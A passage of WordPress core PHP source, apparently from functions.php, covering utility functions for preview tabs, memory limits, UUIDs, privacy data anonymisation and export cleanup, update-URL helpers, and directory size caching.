 * Outputs a small JS snippet on preview tabs/windows to remove `window.name` when a user is navigating to another page.
 *
 * This prevents reusing the same tab for a preview when the user has navigated away.
 *
 * @since 4.3.0
 *
 * @global WP_Post $post Global post object.
 */
function wp_post_preview_js() {
	global $post;

	if ( ! is_preview() || empty( $post ) ) {
		return;
	}

	// Has to match the window name used in post_submit_meta_box().
	$name = 'wp-preview-' . (int) $post->ID;

	ob_start();
	?>
	<script>
	( function() {
		var query = document.location.search;

		if ( query && query.indexOf( 'preview=true' ) !== -1 ) {
			window.name = '<?php echo $name; ?>';
		}

		if ( window.addEventListener ) {
			window.addEventListener( 'pagehide', function() { window.name = ''; } );
		}
	}());
	</script>
	<?php
	wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
}

/**
 * Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601 (Y-m-d\TH:i:s).
 *
 * Explicitly strips timezones, as datetimes are not saved with any timezone
 * information. Including any information on the offset could be misleading.
 *
 * Despite historical function name, the output does not conform to RFC3339 format,
 * which must contain timezone.
 *
 * @since 4.4.0
 *
 * @param string $date_string Date string to parse and format.
 * @return string Date formatted for ISO8601 without time zone.
 */
function mysql_to_rfc3339( $date_string ) {
	return mysql2date( 'Y-m-d\TH:i:s', $date_string, false );
}

/**
 * Attempts to raise the PHP memory limit for memory intensive processes.
 *
 * Only allows raising the existing limit and prevents lowering it.
 *
 * @since 4.6.0
 *
 * @param string $context Optional. Context in which the function is called. Accepts either 'admin',
 *                        'image', 'cron', or an arbitrary other context. If an arbitrary context is passed,
 *                        the similarly arbitrary {@see '$context_memory_limit'} filter will be
 *                        invoked. Default 'admin'.
 * @return int|string|false The limit that was set or false on failure.
 */
function wp_raise_memory_limit( $context = 'admin' ) {
	// Exit early if the limit cannot be changed.
	if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
		return false;
	}

	$current_limit     = ini_get( 'memory_limit' );
	$current_limit_int = wp_convert_hr_to_bytes( $current_limit );

	if ( -1 === $current_limit_int ) {
		return false;
	}

	$wp_max_limit     = WP_MAX_MEMORY_LIMIT;
	$wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit );
	$filtered_limit   = $wp_max_limit;

	switch ( $context ) {
		case 'admin':
			/**
			 * Filters the maximum memory limit available for administration screens.
			 *
			 * This only applies to administrators, who may require more memory for tasks
			 * like updates. Memory limits when processing images (uploaded or edited by
			 * users of any role) are handled separately.
			 *
			 * The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory
			 * limit available when in the administration back end. The default is 256M
			 * (256 megabytes of memory) or the original `memory_limit` php.ini value if
			 * this is higher.
			 *
			 * @since 3.0.0
			 * @since 4.6.0 The default now takes the original `memory_limit` into account.
			 *
			 * @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer
			 *                                   (bytes), or a shorthand string notation, such as '256M'.
			 */
			$filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit );
			break;

		case 'image':
			/**
			 * Filters the memory limit allocated for image manipulation.
			 *
			 * @since 3.5.0
			 * @since 4.6.0 The default now takes the original `memory_limit` into account.
			 *
			 * @param int|string $filtered_limit Maximum memory limit to allocate for image processing.
			 *                                   Default `WP_MAX_MEMORY_LIMIT` or the original
			 *                                   php.ini `memory_limit`, whichever is higher.
			 *                                   Accepts an integer (bytes), or a shorthand string
			 *                                   notation, such as '256M'.
			 */
			$filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit );
			break;

		case 'cron':
			/**
			 * Filters the memory limit allocated for WP-Cron event processing.
			 *
			 * @since 6.3.0
			 *
			 * @param int|string $filtered_limit Maximum memory limit to allocate for WP-Cron.
			 *                                   Default `WP_MAX_MEMORY_LIMIT` or the original
			 *                                   php.ini `memory_limit`, whichever is higher.
			 *                                   Accepts an integer (bytes), or a shorthand string
			 *                                   notation, such as '256M'.
			 */
			$filtered_limit = apply_filters( 'cron_memory_limit', $filtered_limit );
			break;

		default:
			/**
			 * Filters the memory limit allocated for an arbitrary context.
			 *
			 * The dynamic portion of the hook name, `$context`, refers to an arbitrary
			 * context passed on calling the function. This allows for plugins to define
			 * their own contexts for raising the memory limit.
			 *
			 * @since 4.6.0
			 *
			 * @param int|string $filtered_limit Maximum memory limit to allocate for this context.
			 *                                   Default WP_MAX_MEMORY_LIMIT` or the original php.ini `memory_limit`,
			 *                                   whichever is higher. Accepts an integer (bytes), or a
			 *                                   shorthand string notation, such as '256M'.
			 */
			$filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit );
			break;
	}

	$filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit );

	if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) {
		if ( false !== ini_set( 'memory_limit', $filtered_limit ) ) {
			return $filtered_limit;
		} else {
			return false;
		}
	} elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) {
		if ( false !== ini_set( 'memory_limit', $wp_max_limit ) ) {
			return $wp_max_limit;
		} else {
			return false;
		}
	}

	return false;
}

/**
 * Generates a random UUID (version 4).
 *
 * @since 4.7.0
 *
 * @return string UUID.
 */
function wp_generate_uuid4() {
	return sprintf(
		'%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
		mt_rand( 0, 0xffff ),
		mt_rand( 0, 0xffff ),
		mt_rand( 0, 0xffff ),
		mt_rand( 0, 0x0fff ) | 0x4000,
		mt_rand( 0, 0x3fff ) | 0x8000,
		mt_rand( 0, 0xffff ),
		mt_rand( 0, 0xffff ),
		mt_rand( 0, 0xffff )
	);
}

/**
 * Validates that a UUID is valid.
 *
 * @since 4.9.0
 *
 * @param mixed $uuid    UUID to check.
 * @param int   $version Specify which version of UUID to check against. Default is none,
 *                       to accept any UUID version. Otherwise, only version allowed is `4`.
 * @return bool The string is a valid UUID or false on failure.
 */
function wp_is_uuid( $uuid, $version = null ) {

	if ( ! is_string( $uuid ) ) {
		return false;
	}

	if ( is_numeric( $version ) ) {
		if ( 4 !== (int) $version ) {
			_doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' );
			return false;
		}
		$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/';
	} else {
		$regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/';
	}

	return (bool) preg_match( $regex, $uuid );
}

/**
 * Gets unique ID.
 *
 * This is a PHP implementation of Underscore's uniqueId method. A static variable
 * contains an integer that is incremented with each call. This number is returned
 * with the optional prefix. As such the returned value is not universally unique,
 * but it is unique across the life of the PHP process.
 *
 * @since 5.0.3
 *
 * @param string $prefix Prefix for the returned ID.
 * @return string Unique ID.
 */
function wp_unique_id( $prefix = '' ) {
	static $id_counter = 0;
	return $prefix . (string) ++$id_counter;
}

/**
 * Generates an incremental ID that is independent per each different prefix.
 *
 * It is similar to `wp_unique_id`, but each prefix has its own internal ID
 * counter to make each prefix independent from each other. The ID starts at 1
 * and increments on each call. The returned value is not universally unique,
 * but it is unique across the life of the PHP process and it's stable per
 * prefix.
 *
 * @since 6.4.0
 *
 * @param string $prefix Optional. Prefix for the returned ID. Default empty string.
 * @return string Incremental ID per prefix.
 */
function wp_unique_prefixed_id( $prefix = '' ) {
	static $id_counters = array();

	if ( ! is_string( $prefix ) ) {
		wp_trigger_error(
			__FUNCTION__,
			sprintf( 'The prefix must be a string. "%s" data type given.', gettype( $prefix ) )
		);
		$prefix = '';
	}

	if ( ! isset( $id_counters[ $prefix ] ) ) {
		$id_counters[ $prefix ] = 0;
	}

	$id = ++$id_counters[ $prefix ];

	return $prefix . (string) $id;
}

/**
 * Gets last changed date for the specified cache group.
 *
 * @since 4.7.0
 *
 * @param string $group Where the cache contents are grouped.
 * @return string UNIX timestamp with microseconds representing when the group was last changed.
 */
function wp_cache_get_last_changed( $group ) {
	$last_changed = wp_cache_get( 'last_changed', $group );

	if ( $last_changed ) {
		return $last_changed;
	}

	return wp_cache_set_last_changed( $group );
}

/**
 * Sets last changed date for the specified cache group to now.
 *
 * @since 6.3.0
 *
 * @param string $group Where the cache contents are grouped.
 * @return string UNIX timestamp when the group was last changed.
 */
function wp_cache_set_last_changed( $group ) {
	$previous_time = wp_cache_get( 'last_changed', $group );

	$time = microtime();

	wp_cache_set( 'last_changed', $time, $group );

	/**
	 * Fires after a cache group `last_changed` time is updated.
	 * This may occur multiple times per page load and registered
	 * actions must be performant.
	 *
	 * @since 6.3.0
	 *
	 * @param string    $group         The cache group name.
	 * @param int       $time          The new last changed time.
	 * @param int|false $previous_time The previous last changed time. False if not previously set.
	 */
	do_action( 'wp_cache_set_last_changed', $group, $time, $previous_time );

	return $time;
}

/**
 * Sends an email to the old site admin email address when the site admin email address changes.
 *
 * @since 4.9.0
 *
 * @param string $old_email   The old site admin email address.
 * @param string $new_email   The new site admin email address.
 * @param string $option_name The relevant database option name.
 */
function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) {
	$send = true;

	// Don't send the notification to the default 'admin_email' value.
	if ( 'you@example.com' === $old_email ) {
		$send = false;
	}

	/**
	 * Filters whether to send the site admin email change notification email.
	 *
	 * @since 4.9.0
	 *
	 * @param bool   $send      Whether to send the email notification.
	 * @param string $old_email The old site admin email address.
	 * @param string $new_email The new site admin email address.
	 */
	$send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email );

	if ( ! $send ) {
		return;
	}

	/* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
	$email_change_text = __(
		'Hi,

This notice confirms that the admin email address was changed on ###SITENAME###.

The new admin email address is ###NEW_EMAIL###.

This email has been sent to ###OLD_EMAIL###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	$email_change_email = array(
		'to'      => $old_email,
		/* translators: Site admin email change notification email subject. %s: Site title. */
		'subject' => __( '[%s] Admin Email Changed' ),
		'message' => $email_change_text,
		'headers' => '',
	);

	// Get site name.
	$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );

	/**
	 * Filters the contents of the email notification sent when the site admin email address is changed.
	 *
	 * @since 4.9.0
	 *
	 * @param array $email_change_email {
	 *     Used to build wp_mail().
	 *
	 *     @type string $to      The intended recipient.
	 *     @type string $subject The subject of the email.
	 *     @type string $message The content of the email.
	 *         The following strings have a special meaning and will get replaced dynamically:
	 *         - ###OLD_EMAIL### The old site admin email address.
	 *         - ###NEW_EMAIL### The new site admin email address.
	 *         - ###SITENAME###  The name of the site.
	 *         - ###SITEURL###   The URL to the site.
	 *     @type string $headers Headers.
	 * }
	 * @param string $old_email The old site admin email address.
	 * @param string $new_email The new site admin email address.
	 */
	$email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email );

	$email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] );
	$email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] );
	$email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] );
	$email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );

	wp_mail(
		$email_change_email['to'],
		sprintf(
			$email_change_email['subject'],
			$site_name
		),
		$email_change_email['message'],
		$email_change_email['headers']
	);
}

/**
 * Returns an anonymized IPv4 or IPv6 address.
 *
 * @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`.
 *
 * @param string $ip_addr       The IPv4 or IPv6 address to be anonymized.
 * @param bool   $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions
 *                              to anonymize it are not present. Default false, return `::` (unspecified address).
 * @return string  The anonymized IP address.
 */
function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) {
	if ( empty( $ip_addr ) ) {
		return '0.0.0.0';
	}

	// Detect what kind of IP address this is.
	$ip_prefix = '';
	$is_ipv6   = substr_count( $ip_addr, ':' ) > 1;
	$is_ipv4   = ( 3 === substr_count( $ip_addr, '.' ) );

	if ( $is_ipv6 && $is_ipv4 ) {
		// IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4.
		$ip_prefix = '::ffff:';
		$ip_addr   = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr );
		$ip_addr   = str_replace( ']', '', $ip_addr );
		$is_ipv6   = false;
	}

	if ( $is_ipv6 ) {
		// IPv6 addresses will always be enclosed in [] if there's a port.
		$left_bracket  = strpos( $ip_addr, '[' );
		$right_bracket = strpos( $ip_addr, ']' );
		$percent       = strpos( $ip_addr, '%' );
		$netmask       = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000';

		// Strip the port (and [] from IPv6 addresses), if they exist.
		if ( false !== $left_bracket && false !== $right_bracket ) {
			$ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 );
		} elseif ( false !== $left_bracket || false !== $right_bracket ) {
			// The IP has one bracket, but not both, so it's malformed.
			return '::';
		}

		// Strip the reachability scope.
		if ( false !== $percent ) {
			$ip_addr = substr( $ip_addr, 0, $percent );
		}

		// No invalid characters should be left.
		if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) {
			return '::';
		}

		// Partially anonymize the IP by reducing it to the corresponding network ID.
		if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) {
			$ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) );
			if ( false === $ip_addr ) {
				return '::';
			}
		} elseif ( ! $ipv6_fallback ) {
			return '::';
		}
	} elseif ( $is_ipv4 ) {
		// Strip any port and partially anonymize the IP.
		$last_octet_position = strrpos( $ip_addr, '.' );
		$ip_addr             = substr( $ip_addr, 0, $last_octet_position ) . '.0';
	} else {
		return '0.0.0.0';
	}

	// Restore the IPv6 prefix to compatibility mode addresses.
	return $ip_prefix . $ip_addr;
}

/**
 * Returns uniform "anonymous" data by type.
 *
 * @since 4.9.6
 *
 * @param string $type The type of data to be anonymized.
 * @param string $data Optional. The data to be anonymized. Default empty string.
 * @return string The anonymous data for the requested type.
 */
function wp_privacy_anonymize_data( $type, $data = '' ) {

	switch ( $type ) {
		case 'email':
			$anonymous = 'deleted@site.invalid';
			break;
		case 'url':
			$anonymous = 'https://site.invalid';
			break;
		case 'ip':
			$anonymous = wp_privacy_anonymize_ip( $data );
			break;
		case 'date':
			$anonymous = '0000-00-00 00:00:00';
			break;
		case 'text':
			/* translators: Deleted text. */
			$anonymous = __( '[deleted]' );
			break;
		case 'longtext':
			/* translators: Deleted long text. */
			$anonymous = __( 'This content was deleted by the author.' );
			break;
		default:
			$anonymous = '';
			break;
	}

	/**
	 * Filters the anonymous data for each type.
	 *
	 * @since 4.9.6
	 *
	 * @param string $anonymous Anonymized data.
	 * @param string $type      Type of the data.
	 * @param string $data      Original data.
	 */
	return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data );
}

/**
 * Returns the directory used to store personal data export files.
 *
 * @since 4.9.6
 *
 * @see wp_privacy_exports_url
 *
 * @return string Exports directory.
 */
function wp_privacy_exports_dir() {
	$upload_dir  = wp_upload_dir();
	$exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/';

	/**
	 * Filters the directory used to store personal data export files.
	 *
	 * @since 4.9.6
	 * @since 5.5.0 Exports now use relative paths, so changes to the directory
	 *              via this filter should be reflected on the server.
	 *
	 * @param string $exports_dir Exports directory.
	 */
	return apply_filters( 'wp_privacy_exports_dir', $exports_dir );
}

/**
 * Returns the URL of the directory used to store personal data export files.
 *
 * @since 4.9.6
 *
 * @see wp_privacy_exports_dir
 *
 * @return string Exports directory URL.
 */
function wp_privacy_exports_url() {
	$upload_dir  = wp_upload_dir();
	$exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/';

	/**
	 * Filters the URL of the directory used to store personal data export files.
	 *
	 * @since 4.9.6
	 * @since 5.5.0 Exports now use relative paths, so changes to the directory URL
	 *              via this filter should be reflected on the server.
	 *
	 * @param string $exports_url Exports directory URL.
	 */
	return apply_filters( 'wp_privacy_exports_url', $exports_url );
}

/**
 * Schedules a `WP_Cron` job to delete expired export files.
 *
 * @since 4.9.6
 */
function wp_schedule_delete_old_privacy_export_files() {
	if ( wp_installing() ) {
		return;
	}

	if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) {
		wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' );
	}
}

/**
 * Cleans up export files older than three days old.
 *
 * The export files are stored in `wp-content/uploads`, and are therefore publicly
 * accessible. A CSPRN is appended to the filename to mitigate the risk of an
 * unauthorized person downloading the file, but it is still possible. Deleting
 * the file after the data subject has had a chance to delete it adds an additional
 * layer of protection.
 *
 * @since 4.9.6
 */
function wp_privacy_delete_old_export_files() {
	$exports_dir = wp_privacy_exports_dir();
	if ( ! is_dir( $exports_dir ) ) {
		return;
	}

	require_once ABSPATH . 'wp-admin/includes/file.php';
	$export_files = list_files( $exports_dir, 100, array( 'index.php' ) );

	/**
	 * Filters the lifetime, in seconds, of a personal data export file.
	 *
	 * By default, the lifetime is 3 days. Once the file reaches that age, it will automatically
	 * be deleted by a cron job.
	 *
	 * @since 4.9.6
	 *
	 * @param int $expiration The expiration age of the export, in seconds.
	 */
	$expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );

	foreach ( (array) $export_files as $export_file ) {
		$file_age_in_seconds = time() - filemtime( $export_file );

		if ( $expiration < $file_age_in_seconds ) {
			unlink( $export_file );
		}
	}
}

/**
 * Gets the URL to learn more about updating the PHP version the site is running on.
 *
 * This URL can be overridden by specifying an environment variable `WP_UPDATE_PHP_URL` or by using the
 * {@see 'wp_update_php_url'} filter. Providing an empty string is not allowed and will result in the
 * default URL being used. Furthermore the page the URL links to should preferably be localized in the
 * site language.
 *
 * @since 5.1.0
 *
 * @return string URL to learn more about updating PHP.
 */
function wp_get_update_php_url() {
	$default_url = wp_get_default_update_php_url();

	$update_url = $default_url;
	if ( false !== getenv( 'WP_UPDATE_PHP_URL' ) ) {
		$update_url = getenv( 'WP_UPDATE_PHP_URL' );
	}

	/**
	 * Filters the URL to learn more about updating the PHP version the site is running on.
	 *
	 * Providing an empty string is not allowed and will result in the default URL being used. Furthermore
	 * the page the URL links to should preferably be localized in the site language.
	 *
	 * @since 5.1.0
	 *
	 * @param string $update_url URL to learn more about updating PHP.
	 */
	$update_url = apply_filters( 'wp_update_php_url', $update_url );

	if ( empty( $update_url ) ) {
		$update_url = $default_url;
	}

	return $update_url;
}

/**
 * Gets the default URL to learn more about updating the PHP version the site is running on.
 *
 * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_php_url()} when relying on the URL.
 * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the
 * default one.
 *
 * @since 5.1.0
 * @access private
 *
 * @return string Default URL to learn more about updating PHP.
 */
function wp_get_default_update_php_url() {
	return _x( 'https://wordpress.org/support/update-php/', 'localized PHP upgrade information page' );
}

/**
 * Prints the default annotation for the web host altering the "Update PHP" page URL.
 *
 * This function is to be used after {@see wp_get_update_php_url()} to display a consistent
 * annotation if the web host has altered the default "Update PHP" page URL.
 *
 * @since 5.1.0
 * @since 5.2.0 Added the `$before` and `$after` parameters.
 * @since 6.4.0 Added the `$display` parameter.
 *
 * @param string $before  Markup to output before the annotation. Default `<p class="description">`.
 * @param string $after   Markup to output after the annotation. Default `</p>`.
 * @param bool   $display Whether to echo or return the markup. Default `true` for echo.
 *
 * @return string|void
 */
function wp_update_php_annotation( $before = '<p class="description">', $after = '</p>', $display = true ) {
	$annotation = wp_get_update_php_annotation();

	if ( $annotation ) {
		if ( $display ) {
			echo $before . $annotation . $after;
		} else {
			return $before . $annotation . $after;
		}
	}
}

/**
 * Returns the default annotation for the web hosting altering the "Update PHP" page URL.
 *
 * This function is to be used after {@see wp_get_update_php_url()} to return a consistent
 * annotation if the web host has altered the default "Update PHP" page URL.
 *
 * @since 5.2.0
 *
 * @return string Update PHP page annotation. An empty string if no custom URLs are provided.
 */
function wp_get_update_php_annotation() {
	$update_url  = wp_get_update_php_url();
	$default_url = wp_get_default_update_php_url();

	if ( $update_url === $default_url ) {
		return '';
	}

	$annotation = sprintf(
		/* translators: %s: Default Update PHP page URL. */
		__( 'This resource is provided by your web host, and is specific to your site. For more information, <a href="%s" target="_blank">see the official WordPress documentation</a>.' ),
		esc_url( $default_url )
	);

	return $annotation;
}

/**
 * Gets the URL for directly updating the PHP version the site is running on.
 *
 * A URL will only be returned if the `WP_DIRECT_UPDATE_PHP_URL` environment variable is specified or
 * by using the {@see 'wp_direct_php_update_url'} filter. This allows hosts to send users directly to
 * the page where they can update PHP to a newer version.
 *
 * @since 5.1.1
 *
 * @return string URL for directly updating PHP or empty string.
 */
function wp_get_direct_php_update_url() {
	$direct_update_url = '';

	if ( false !== getenv( 'WP_DIRECT_UPDATE_PHP_URL' ) ) {
		$direct_update_url = getenv( 'WP_DIRECT_UPDATE_PHP_URL' );
	}

	/**
	 * Filters the URL for directly updating the PHP version the site is running on from the host.
	 *
	 * @since 5.1.1
	 *
	 * @param string $direct_update_url URL for directly updating PHP.
	 */
	$direct_update_url = apply_filters( 'wp_direct_php_update_url', $direct_update_url );

	return $direct_update_url;
}

/**
 * Displays a button directly linking to a PHP update process.
 *
 * This provides hosts with a way for users to be sent directly to their PHP update process.
 *
 * The button is only displayed if a URL is returned by `wp_get_direct_php_update_url()`.
 *
 * @since 5.1.1
 */
function wp_direct_php_update_button() {
	$direct_update_url = wp_get_direct_php_update_url();

	if ( empty( $direct_update_url ) ) {
		return;
	}

	echo '<p class="button-container">';
	printf(
		'<a class="button button-primary" href="%1$s" target="_blank" rel="noopener">%2$s<span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
		esc_url( $direct_update_url ),
		__( 'Update PHP' ),
		/* translators: Hidden accessibility text. */
		__( '(opens in a new tab)' )
	);
	echo '</p>';
}

/**
 * Gets the URL to learn more about updating the site to use HTTPS.
 *
 * This URL can be overridden by specifying an environment variable `WP_UPDATE_HTTPS_URL` or by using the
 * {@see 'wp_update_https_url'} filter. Providing an empty string is not allowed and will result in the
 * default URL being used. Furthermore the page the URL links to should preferably be localized in the
 * site language.
 *
 * @since 5.7.0
 *
 * @return string URL to learn more about updating to HTTPS.
 */
function wp_get_update_https_url() {
	$default_url = wp_get_default_update_https_url();

	$update_url = $default_url;
	if ( false !== getenv( 'WP_UPDATE_HTTPS_URL' ) ) {
		$update_url = getenv( 'WP_UPDATE_HTTPS_URL' );
	}

	/**
	 * Filters the URL to learn more about updating the HTTPS version the site is running on.
	 *
	 * Providing an empty string is not allowed and will result in the default URL being used. Furthermore
	 * the page the URL links to should preferably be localized in the site language.
	 *
	 * @since 5.7.0
	 *
	 * @param string $update_url URL to learn more about updating HTTPS.
	 */
	$update_url = apply_filters( 'wp_update_https_url', $update_url );
	if ( empty( $update_url ) ) {
		$update_url = $default_url;
	}

	return $update_url;
}

/**
 * Gets the default URL to learn more about updating the site to use HTTPS.
 *
 * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_https_url()} when relying on the URL.
 * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the
 * default one.
 *
 * @since 5.7.0
 * @access private
 *
 * @return string Default URL to learn more about updating to HTTPS.
 */
function wp_get_default_update_https_url() {
	/* translators: Documentation explaining HTTPS and why it should be used. */
	return __( 'https://wordpress.org/documentation/article/why-should-i-use-https/' );
}

/**
 * Gets the URL for directly updating the site to use HTTPS.
 *
 * A URL will only be returned if the `WP_DIRECT_UPDATE_HTTPS_URL` environment variable is specified or
 * by using the {@see 'wp_direct_update_https_url'} filter. This allows hosts to send users directly to
 * the page where they can update their site to use HTTPS.
 *
 * @since 5.7.0
 *
 * @return string URL for directly updating to HTTPS or empty string.
 */
function wp_get_direct_update_https_url() {
	$direct_update_url = '';

	if ( false !== getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ) ) {
		$direct_update_url = getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' );
	}

	/**
	 * Filters the URL for directly updating the PHP version the site is running on from the host.
	 *
	 * @since 5.7.0
	 *
	 * @param string $direct_update_url URL for directly updating PHP.
	 */
	$direct_update_url = apply_filters( 'wp_direct_update_https_url', $direct_update_url );

	return $direct_update_url;
}

/**
 * Gets the size of a directory.
 *
 * A helper function that is used primarily to check whether
 * a blog has exceeded its allowed upload space.
 *
 * @since MU (3.0.0)
 * @since 5.2.0 $max_execution_time parameter added.
 *
 * @param string $directory Full path of a directory.
 * @param int    $max_execution_time Maximum time to run before giving up. In seconds.
 *                                   The timeout is global and is measured from the moment WordPress started to load.
 * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout.
 */
function get_dirsize( $directory, $max_execution_time = null ) {

	/*
	 * Exclude individual site directories from the total when checking the main site of a network,
	 * as they are subdirectories and should not be counted.
	 */
	if ( is_multisite() && is_main_site() ) {
		$size = recurse_dirsize( $directory, $directory . '/sites', $max_execution_time );
	} else {
		$size = recurse_dirsize( $directory, null, $max_execution_time );
	}

	return $size;
}

/**
 * Gets the size of a directory recursively.
 *
 * Used by get_dirsize() to get a directory size when it contains other directories.
 *
 * @since MU (3.0.0)
 * @since 4.3.0 The `$exclude` parameter was added.
 * @since 5.2.0 The `$max_execution_time` parameter was added.
 * @since 5.6.0 The `$directory_cache` parameter was added.
 *
 * @param string          $directory          Full path of a directory.
 * @param string|string[] $exclude            Optional. Full path of a subdirectory to exclude from the total,
 *                                            or array of paths. Expected without trailing slash(es).
 *                                            Default null.
 * @param int             $max_execution_time Optional. Maximum time to run before giving up. In seconds.
 *                                            The timeout is global and is measured from the moment
 *                                            WordPress started to load. Defaults to the value of
 *                                            `max_execution_time` PHP setting.
 * @param array           $directory_cache    Optional. Array of cached directory paths.
 *                                            Defaults to the value of `dirsize_cache` transient.
 * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout.
 */
function recurse_dirsize( $directory, $exclude = null, $max_execution_time = null, &$directory_cache = null ) {
	$directory  = untrailingslashit( $directory );
	$save_cache = false;

	if ( ! isset( $directory_cache ) ) {
		$directory_cache = get_transient( 'dirsize_cache' );
		$save_cache      = true;
	}

	if ( isset( $directory_cache[ $directory ] ) && is_int( $directory_cache[ $directory ] ) ) {
		return $directory_cache[ $directory ];
	}

	if ( ! file_exists( $directory ) || ! is_dir( $directory ) || ! is_readable( $directory ) ) {
		return false;
	}

	if (
		( is_string( $exclude ) && $directory === $exclude ) ||
		( is_array( $exclude ) && in_array( $directory, $exclude, true ) )
	) {
		return false;
	}

	if ( null === $max_execution_time ) {
		// Keep the previous behavior but attempt to prevent fatal errors from timeout if possible.
		if ( function_exists( 'ini_get' ) ) {
			$max_execution_time = ini_get( 'max_execution_time' );
		} else {
			// Disable...
			$max_execution_time = 0;
		}

		// Leave 1 second "buffer" for other operations if $max_execution_time has reasonable value.
		if ( $max_execution_time > 10 ) {
			$max_execution_time -= 1;
		}
	}

	/**
	 * Filters the amount of storage space used by one directory and all its children, in megabytes.
	 *
	 * Return the actual used space to short-circuit the recursive PHP file size calculation
	 * and use something else, like a CDN API or native operating system tools for better performance.
	 *
	 * @since 5.6.0
	 *
	 * @param int|false            $space_used         The amount of used space, in bytes. Default false.
	 * @param string               $directory          Full path of a directory.
	 * @param string|string[]|null $exclude            Full path of a subdirectory to exclude from the total,
	 *                                                 or array of paths.
	 * @param int                  $max_execution_time Maximum time to run before giving up. In seconds.
	 * @param array                $directory_cache    Array of cached directory paths.
	 */
	$size = apply_filters( 'pre_recurse_dirsize', false, $directory, $exclude, $max_execution_time, $directory_cache );

	if ( false === $size ) {
		$size = 0;

		$handle = opendir( $directory );
		if ( $handle ) {
			while ( ( $file = readdir( $handle ) ) !== false ) {
				$path = $directory . '/' . $file;
				if ( '.' !== $file && '..' !== $file ) {
					if ( is_file( $path ) ) {
						$size += filesize( $path );
					} elseif ( is_dir( $path ) ) {
						$handlesize = recurse_dirsize( $path, $exclude, $max_execution_time, $directory_cache );
						if ( $handlesize > 0 ) {
							$size += $handlesize;
						}
					}

					if ( $max_execution_time > 0 &&
						( microtime( true ) - WP_START_TIMESTAMP ) > $max_execution_time
					) {
						// Time exceeded. Give up instead of risking a fatal timeout.
						$size = null;
						break;
					}
				}
			}
			closedir( $handle );
		}
	}

	if ( ! is_array( $directory_cache ) ) {
		$directory_cache = array();
	}

	$directory_cache[ $directory ] = $size;

	// Only write the transient on the top level call and not on recursive calls.
	if ( $save_cache ) {
		$expiration = ( wp_using_ext_object_cache() ) ? 0 : 10 * YEAR_IN_SECONDS;
		set_transient( 'dirsize_cache', $directory_cache, $expiration );
	}

	return $size;
}

/**
 * Cleans directory size cache used by recurse_dirsize().
 *
 * Removes the current directory and all parent directories from the `dirsize_cache` transient.
 *
 * @since 5.6.0
 * @since 5.9.0 Added input validation with a notice for invalid input.
 *
 * @param string $path Full path of a directory or file.
 */
function clean_dirsize_cache( $path ) {
	if ( ! is_string( $path ) || empty( $path ) ) {
		trigger_error(
			sprintf(
				/* translators: 1: Function name, 2: A variable type, like "boolean" or "integer". */
				__( '%1$s only accepts a non-empty path string, received %2$s.' ),
				'<code>clean_dirsize_cache()</code>',
				'<code>' . gettype( $path ) . '</code>'
			)
		);
		return;
	}

	$directory_cache = get_transient( 'dirsize_cache' );

	if ( empty( $directory_cache ) ) {
		return;
	}

	$expiration = ( wp_using_ext_object_cache() ) ? 0 : 10 * YEAR_IN_SECONDS;
	if (
		! str_contains( $path, '/' ) &&
		! str_contains( $path, '\\' )
	) {
